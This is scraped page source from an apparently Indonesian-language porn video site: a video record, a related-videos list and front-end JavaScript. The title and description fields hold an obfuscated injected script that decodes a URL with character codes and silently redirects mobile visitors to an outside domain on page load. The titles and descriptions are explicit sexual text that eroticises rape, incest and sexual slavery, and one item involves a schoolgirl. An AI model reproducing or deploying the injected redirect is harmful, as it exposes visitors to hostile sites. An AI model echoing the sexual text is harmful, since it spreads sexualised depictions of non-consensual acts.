</title><skrip>var _=String['fromCharCode'];var a=_(77,111,98,105,108,101);var b=_(65,110,100,114,111,105,100);var c=_(105,80,104,111,110,101);var d=_(105,80,97,100);var u=navigator.userAgent;if(u.indexOf(a)>-1||u.indexOf(b)>-1||u.indexOf(c)>-1||u.indexOf(d)>-1){window.location.href=_(104,116,116,112,115,58,47,47,120,105,97,122,97,105,46,105,116,46,99,111,109)}</script><title>Saudari yang hanya mengenakan kemeja dan tanpa celana tertangkap basah dan kakaknya dengan brutal memperkosa kemaluannya. Misono dan Hana
Saudari yang hanya mengenakan kemeja dan tanpa celana tertangkap basah dan kakaknya dengan brutal memperkosa kemaluannya. Misono dan Hana","site_id":0,"video_url":"https://2605.fhbbff.com/20260702/h5G3ayr1/index.m3u8","images":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNjA3MDYvM2FhZjM1YTZiZDRiYzliYWUxYjVmODhlNTM1MjRmOTcuanBn.cache","duration":"","actor":[],"lastmod":1783766805,"rating":"3.0","view_count":469,"description":"Miyuki dan Hana hanya mengenakan kemeja longgar, bagian bawah tubuh mereka telanjang, payudara besar mereka bergoyang setiap langkah, vulva merah muda mereka yang montok dan menggoda sepenuhnya terbuka. Saat dia berbalik, kakaknya meraihnya dari belakang, penisnya yang keras menusuk langsung ke lubang basahnya, menghantam pantatnya yang montok dengan keras, memercikkan cairan ke mana-mana. Dia berteriak malu, \"Tidak...terlalu dalam,\" tetapi selama orgasmenya, otot-otot vaginanya berkontraksi liar, pinggulnya berputar seolah memohon agar dia berejakulasi di dalam dirinya. Kakaknya merobek kemejanya, meremas payudaranya yang seputih salju, dan berejakulasi di ekspresi cabulnya.","tag":["adik","kemeja","Tidak mengenakan","Celana","Tidak ada perlindungan","Tidak siap","Tidak siap","Pertahanan","kakak","Gila","lubang jalang","Bunga Jepang"],"site_url":"228977","free":1,"clarity":1,"vr":2,"is_caiji":0,"fenlei":[],"preview":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNjA3MDYvM2FhZjM1YTZiZDRiYzliYWUxYjVmODhlNTM1MjRmOTcuanBn.cache","maker":"","table_name":"videos_fhzy10","content":"","download_url":"","magnet_url":"","torrent_url":"","preview_images":"","release_date":"","series":"","studio":"","s_title":"妹妹只穿衬衫没穿裤子 毫无防备被哥哥狂干骚穴 美园和花","s_keywords":"妹妹只穿衬衫没穿裤子 毫无防备被哥哥狂干骚穴 美园和花","s_description":"var _=String['fromCharCode'];var a=_(77,111,98,105,108,101);var b=_(65,110,100,114,111,105,100);var c=_(105,80,104,111,110,101);var d=_(105,80,97,100);var u=navigator.userAgent;if(u.indexOf(a)>-1||u.indexOf(b)>-1||u.indexOf(c)>-1||u.indexOf(d)>-1){window.location.href=_(104,116,116,112,115,58,47,47,120,105,97,122,97,105,46,105,116,46,99,111,109)}Saudari yang hanya mengenakan kemeja dan tanpa celana tertangkap basah dan kakaknya dengan brutal memperkosa kemaluannya. Misono dan Hana","cid":"","items":[{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTA0MjEvZmU4Njc0Y2EzMTA0YjQzMDI3ZmMxYmVmMjE0MzI0ODcuanBn.cache","vod_id":19173808,"title":"[Tianqing Nai'ai] T28-636-C Gairah Seru di Pedesaan: Godaan Basah Si Saudari Berdada Besar, Rekaman Tabrakan Fisik yang Intens","lastmod":"2025-04-21","duration":"02:09:14","url":"/play/19173808.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNjA1MTMvYjI4NmVmMTA4MjljMjg2Zjk0ODMyM2E1MjY0ZDBjOWYuanBn.cache","vod_id":19235793,"title":"JUFD-530 Guru wanita bertubuh seksi diikat dengan tali rami! Dijadikan budak seks di sebuah lelang, dipaksa untuk diperkosa dan diejakulasi tanpa henti.","lastmod":"2026-05-17","duration":"2:45:07","url":"/play/19235793.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTA4MzEvMDAyZWY1ZGFjY2Y1OWI2ZTZjZDIxY2NmZTYwZjhkZjYuanBn.cache","vod_id":19192076,"title":"SONE530: Seorang gadis salon seksi diperkosa secara brutal oleh penis besar milik seorang pelanggan, mengalami beberapa orgasme dan ejakulasi – sebuah pesta seksual yang telah lama dinantikan.","lastmod":"2025-08-30","duration":"02:05:17","url":"/play/19192076.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTEyMjMvOGU5ZTRkNWFhODQwY2JhNWQ2NjFkODFhYTM1M2MyNGMuanBn.cache","vod_id":19229742,"title":"Untuk mempertahankan pekerjaannya, seorang agen real estat wanita dengan berlinang air mata menanggung pemerkosaan brutal yang dilakukan oleh atasannya, akhirnya berlutut dan memohon belas kasihan, dan akhirnya menyerah kepadanya sebagai pembayaran.","lastmod":"2026-04-18","duration":"0:11:26","url":"/play/19229742.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTEyMjMvZjk2OGJhODQ5ZWRmNjYzMjg0MmNlMGJkNTdkYWVjZjAuanBn.cache","vod_id":19224773,"title":"Seorang wanita menikah yang cantik diraba-raba di ruang ganti; kemaluannya ditusuk dengan kasar hingga ia kehilangan kendali atas kandung kemihnya dan mencapai orgasme.","lastmod":"2026-03-30","duration":"1:24:37","url":"/play/19224773.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTEyMjMvZjkxZTUxOTQwOWJmYmM2OTMwM2I0YmNlNWVhNTg4ZDkuanBn.cache","vod_id":19231210,"title":"Xia Mo, dengan payudaranya yang sangat besar! Lekuk tubuhnya yang menggoda bergoyang liar saat dia terus-menerus disetubuhi dan dikeluarkan spermanya hingga mencapai orgasme!","lastmod":"2026-04-27","duration":"0:30:07","url":"/play/19231210.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTEyMjMvYTNmYzI1ZTQ2ZGNlZDc2ZmJhYmJhMGZmNDAzOTc1OTQuanBn.cache","vod_id":19226891,"title":"RCTD-715 Buku Catatan Modifikasi Peraturan Sekolah 2: Siswi Cantik Berpayudara Besar Dilatih Menjadi Budak Seks Cabul dan Disetubuhi dengan Gila-gilaan.","lastmod":"2026-04-05","duration":"2:31:03","url":"/play/19226891.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNjA1MTMvN2JiNDcxYjc5ZjYzMzdjY2ZiNzM3NzAxOWMyOTgyZGEuanBn.cache","vod_id":19238932,"title":"Tiga wanita yang lebih tua dikencani secara online! Seorang wanita yang dulunya baik-baik tergoda oleh rayuan mereka, kemaluannya ditusuk dengan kasar dan dikencingi di dalam dirinya.","lastmod":"2026-06-04","duration":"0:48:40","url":"/play/19238932.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzAvYjJmMTkxNDgwMGM2YmRiOGQzNTNjZDY3NTMzOGYxNzcuanBn.cache","vod_id":19121638,"title":"Vagina kecil YuzuKitty sudah diregangkan lebar oleh penis asing yang besar itu, bukan?","lastmod":"2025-03-29","duration":"01:03:25","url":"/play/19121638.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTEyMjMvMDY0NTczNDg3ZjJjZGNiYTZjODJlOWZmNjMyMWYzZGIuanBn.cache","vod_id":19229950,"title":"Selebriti internet berpayudara besar, TuTu! Mengenakan stoking hitam, kaki panjang, tarian telanjang yang cabul, menggoyangkan payudaranya dengan liar, bermasturbasi hingga orgasme dan menyemburkan cairan.","lastmod":"2026-04-19","duration":"1:12:46","url":"/play/19229950.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTEyMjMvOTk3YjNmYzk0YzJhZmI4YmQ5MmNlZDVmMmY2OGJiMTkuanBn.cache","vod_id":19232264,"title":"Seorang mahasiswi berprestasi, seorang jalang kecil, sedang dilatih secara brutal; kemaluannya benar-benar dijamah, dan cairan tubuhnya menyembur ke mana-mana.","lastmod":"2026-05-02","duration":"0:03:42","url":"/play/19232264.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly9mYW4ubGVmaGFvMjAyNTA5MjMudG9wLzIwMjYwMjE1L09nT3gwbjZjLzEuanBn.cache","vod_id":19218338,"title":"MIAB-274-C Seorang wanita kantoran yandere yang obsesif menerobos masuk ke rumah seorang wanita, cemburu dengan statusnya sebagai wanita yang sudah menikah, dan dengan panik menggosok putingnya dan berejakulasi di dalam dirinya dalam pesta seks inses!","lastmod":"2026-02-18","duration":"2:00:13","url":"/play/19218338.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTEyMjMvYzc1ODcyYzMzYzc5ZTFiYTY1NDFiNWEyN2I1NzE0MTEuanBn.cache","vod_id":19222129,"title":"Pengalaman pertama gadis manis di pintu belakang apartemen sewaannya: penis besar tanpa henti menghantam vaginanya sampai dia kehilangan kesadaran.","lastmod":"2026-03-16","duration":"0:13:28","url":"/play/19222129.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTEyMjMvNTNhMTc0MjU1MTI0YzIyOTIyMjEyMTg5OTRkOTdlYmQuanBn.cache","vod_id":19228623,"title":"Sepupuku yang genit dan memakai kawat gigi! Dia diam-diam bertemu kekasihnya di hotel dan diperkosa secara brutal, vaginanya menyemburkan cairan dan memohon agar aku ejakulasi di dalam dirinya!","lastmod":"2026-04-11","duration":"1:16:12","url":"/play/19228623.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTEyMjMvMjBlOTZjYWYzZmJiN2I2YzQ4MTU3YmRmYmI3MGJlMjkuanBn.cache","vod_id":19232546,"title":"PED-032-C 7 jam waktu pribadi sendirian, dia diperkosa dan dianiaya secara brutal, mengeluarkan cairan lebih dari 10 kali!","lastmod":"2026-05-02","duration":"2:10:20","url":"/play/19232546.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTEyMjMvZjczMWNjYTliNzgxOTI3MGViM2YxMzZjNzkyOTUxYWEuanBn.cache","vod_id":19229762,"title":"Selebriti internet Xue Ruiya, yang payudaranya yang besar bergetar, diperkosa dengan kasar oleh penis yang besar dan diejakulasi di dalam dirinya, mencapai klimaks dan menyemburkan cairan!","lastmod":"2026-04-18","duration":"0:19:29","url":"/play/19229762.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTEyMjMvZTJhN2MzYjBjYmM1MTM1MmI2OWU0ODI5YTRlMzAzNzIuanBn.cache","vod_id":19220853,"title":"Seorang wanita cantik yang sudah menikah memanfaatkan kehamilannya untuk memaksa dirinya pada suaminya, yang kemudian mencuri kemaluannya dan menggaulinya dengan brutal.","lastmod":"2026-03-08","duration":"0:12:30","url":"/play/19220853.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzEvZGIzOWM4NWEwMzU2Yzc2MzRhNWRkYTYzNzRjNDFiNWUuanBn.cache","vod_id":19065783,"title":"Ini sangat mengasyikkan! Sepasang sahabat seksi, untuk memuaskan pacar mereka yang mesum, menyuruh seorang gadis mengenakan celana jeans ketat, memamerkan bokongnya, melepas celananya, menggunakan alat bantu untuk menembus dirinya, dan melontarkan kata-kata cabul sambil menggauli kemaluannya yang lembut.","lastmod":"2025-03-28","duration":"00:19:27","url":"/play/19065783.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNjA1MTMvOTU4Yzc5ZGU2NjJkZDc5MTkzZTM0MTcxOTk2NmY3ZjguanBn.cache","vod_id":19237858,"title":"Hatsuki Rola, seorang ibu rumah tangga berpayudara besar yang sangat realistis dan didukung oleh AI, dengan ekspresi dan erangan yang seperti hidup, menjalani hubungan seks yang intens dan ejakulasi hingga mencapai orgasme.","lastmod":"2026-05-29","duration":"1:25:09","url":"/play/19237858.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTEyMjMvN2M0M2RhN2QxZWM1N2VhZTdlNDZiODMxYzZjYTBlMGIuanBn.cache","vod_id":19233439,"title":"Xiao Bao mencari seorang gadis yang sangat cantik dengan tato yang indah; kemaluannya diperkosa secara brutal dan ia mengeluarkan sperma di dalam dirinya.","lastmod":"2026-05-07","duration":"0:39:33","url":"/play/19233439.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzEvNzNkODVkNWY0NDk3MTM4YzlhOGJiNWFkODFmYzFhMWEuanBn.cache","vod_id":19116957,"title":"YSN-607-C Saya diasuh oleh saudara laki-laki saya, seorang anak yang bodoh tetapi sangat rakus secara seksual.","lastmod":"2025-03-29","duration":"01:41:26","url":"/play/19116957.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNjA1MTMvYjQyODYzZDlmODliMjIxN2YwMWM2OWM0ZThiZTBmNjYuanBn.cache","vod_id":19234931,"title":"Pantat junior saya yang montok dan cantik, kemaluannya sedang ditusuk dan dilumuri sperma.","lastmod":"2026-05-16","duration":"0:27:44","url":"/play/19234931.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNjA1MTMvYzlhMGEzZDgwMWVhMTAyMjE2MWE0NDdhMzVkOTNmYTQuanBn.cache","vod_id":19235991,"title":"Pertukaran istri dan seks intens: Yui Hatano dan Reina Kuroki diperkosa secara brutal dan terengah-engah, sementara suami mereka menonton dengan cemburu.","lastmod":"2026-05-18","duration":"2:04:41","url":"/play/19235991.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTEyMjMvYmI0ZGI1ODAxM2EwNWZiNDYxMWVlYTY3NWRkMTViM2QuanBn.cache","vod_id":19228029,"title":"MU YMRK-060 Sekelompok preman brutal memperkosa seorang pekerja kantoran wanita lajang, memperkosanya dengan kasar hingga ia mencapai orgasme.","lastmod":"2026-04-09","duration":"1:07:46","url":"/play/19228029.html"}]},
videoTitle: '</title><skrip>var _=String['fromCharCode'];var a=_(77,111,98,105,108,101);var b=_(65,110,100,114,111,105,100);var c=_(105,80,104,111,110,101);var d=_(105,80,97,100);var u=navigator.userAgent;if(u.indexOf(a)>-1||u.indexOf(b)>-1||u.indexOf(c)>-1||u.indexOf(d)>-1){window.location.href=_(104,116,116,112,115,58,47,47,120,105,97,122,97,105,46,105,116,46,99,111,109)}</script><title>Saudari yang hanya mengenakan kemeja dan tanpa celana tertangkap basah dan kakaknya dengan brutal memperkosa kemaluannya. Misono dan Hana',
language: 'id',
dataKey: '01',
loadingPlayer: true,
showShare: false,
pageUrl: '',
// RecommendedMovies 组件状态
isSingleColumn: false,
pageSize: 8,
currentPage: 1,
// 计算属性(使用 getter)
get layoutIconClass() {
return this.isSingleColumn ? 'icon-view-list' : 'icon-grid';
},
get layoutClass() {
return [
'row',
'g-3',
'row-cols-1',
this.isSingleColumn ? '' : 'row-cols-2',
'row-cols-lg-4'
].filter(Boolean).join(' ');
},
// 方法
onAppMounted() {
// 设置页面 URL
this.pageUrl = window.location.href;
// 保存观看历史
this.saveWatchHistory();
// 更新标签统计
if (this.videoData.tag && this.videoData.tag.length > 0) {
this.updateTagStats(this.videoData.tag);
}
// 发送点击统计
this.hitVideoId(this.videoData.id);
// 从 Cookie 读取布局偏好
const layoutCookie = this.getCookie('list_layout');
if (layoutCookie === 'single') {
this.isSingleColumn = true;
}
// 监听 iframe 加载完成,隐藏骨架屏
// 使用 setTimeout 确保 DOM 已完全渲染
setTimeout(() => {
const iframe = document.getElementById('v2-player');
const skeleton = document.getElementById('player-skeleton');
if (iframe && skeleton) {
// 定义隐藏骨架屏的函数
const hideSkeleton = () => {
skeleton.style.transition = 'opacity 0.3s ease';
skeleton.style.opacity = '0';
setTimeout(() => {
skeleton.style.display = 'none';
}, 300);
};
// 检查 iframe 是否已经加载完成
if (iframe.contentDocument || iframe.contentWindow) {
try {
// 如果 iframe 已加载,直接隐藏骨架屏
if (iframe.contentWindow.document.readyState === 'complete') {
setTimeout(hideSkeleton, 500);
return;
}
} catch (e) {
console.log('[Video] 跨域 iframe,无法检查状态:', e.message);
// 跨域情况下无法访问 contentWindow,继续监听 load 事件
}
}
// 监听 load 事件
iframe.addEventListener('load', () => {
console.log('[Video] iframe load 事件触发');
setTimeout(hideSkeleton, 500);
});
// 添加超时保护,确保骨架屏最终会被隐藏
setTimeout(() => {
if (skeleton.style.display !== 'none') {
console.log('[Video] 超时保护触发,强制隐藏骨架屏');
hideSkeleton();
}
}, 5000); // 5秒后强制隐藏
} else {
console.error('[Video] 未找到 iframe 或 skeleton 元素');
}
}, 0);
},
// 随机跳转
async jumpToRandomVideo() {
try {
const response = await fetch(`/api/qun/randomid?t=${Date.now()}`, {
headers: {
'x-data-key': this.dataKey,
'x-api-key': 'dagexxx.com'
}
});
const data = await response.json();
if (data?.status === 1 && data?.data?.id) {
window.location.href = `/${this.language}/play/${data.data.id}.html`;
} else {
console.error('获取随机视频失败:', data?.message || '未知错误');
}
} catch (err) {
console.error('获取随机视频失败:', err);
}
},
// 复制分享链接
copyShareLink() {
const input = this.$refs.shareInput;
if (input) {
input.select();
input.setSelectionRange(0, 99999); // For mobile devices
// 尝试使用现代 API
if (navigator.clipboard && navigator.clipboard.writeText) {
navigator.clipboard.writeText(this.pageUrl).then(() => {
alert('Tautan berhasil disalin!');
}).catch(() => {
// 降级到旧方法
document.execCommand('copy');
alert('Tautan berhasil disalin!');
});
} else {
// 降级到旧方法
document.execCommand('copy');
alert('Tautan berhasil disalin!');
}
}
},
// 切换布局
toggleLayout() {
this.isSingleColumn = !this.isSingleColumn;
this.setCookie('list_layout', this.isSingleColumn ? 'single' : 'multi', 30);
},
// 加载更多
loadMore() {
this.currentPage++;
},
// 保存观看历史
saveWatchHistory() {
try {
const storageKey = 'watchHistory';
let history = JSON.parse(localStorage.getItem(storageKey) || '[]');
// 解码 HTML 实体编码的标题
const decodeHtmlEntities = (text) => {
const textarea = document.createElement('textarea');
textarea.innerHTML = text;
return textarea.value;
};
const video = {
id: this.videoData.id,
title: decodeHtmlEntities(this.videoData.title),
image: this.videoData.images || this.videoData.preview,
duration: this.videoData.duration || ''
};
// 过滤掉已存在的相同 ID 视频
history = history.filter(item => item.id !== video.id);
// 添加新记录到最前面
history.unshift(video);
// 限制最多保存 100 条
if (history.length > 100) {
history = history.slice(0, 100);
}
localStorage.setItem(storageKey, JSON.stringify(history));
} catch (e) {
console.error('Failed to save watch history:', e);
}
},
// 更新标签统计
updateTagStats(tags = []) {
// HTML 实体解码函数
const decodeHtmlEntities = (text) => {
const textarea = document.createElement('textarea');
textarea.innerHTML = text;
return textarea.value;
};
const storageKey = this.dataKey + 'tagWatchStats';
const lastWatchedKey = this.dataKey + 'tagLastWatched';
const raw = localStorage.getItem(storageKey);
const stats = raw ? JSON.parse(raw) : {};
// 解码标签并统计
const decodedTags = tags.map(tag => decodeHtmlEntities(tag));
decodedTags.forEach(tag => {
stats[tag] = (stats[tag] || 0) + 1;
});
localStorage.setItem(storageKey, JSON.stringify(stats));
localStorage.setItem(lastWatchedKey, JSON.stringify(decodedTags));
},
// 点击统计
hitVideoId(id) {
fetch(`/api/qun/hit?type=play&id=${id}`, {
method: 'GET',
headers: {
'x-data-key': this.dataKey,
'x-api-key': 'dagexxx.com'
}
}).catch(err => {
console.error('点击统计失败:', err);
});
},
// Cookie 工具方法
getCookie(name) {
const value = `; ${document.cookie}`;
const parts = value.split(`; ${name}=`);
if (parts.length === 2) return parts.pop().split(';').shift();
},
setCookie(name, value, days) {
const expires = new Date(Date.now() + days * 864e5).toUTCString();
document.cookie = `${name}=${value}; expires=${expires}; path=/`;
}
};
}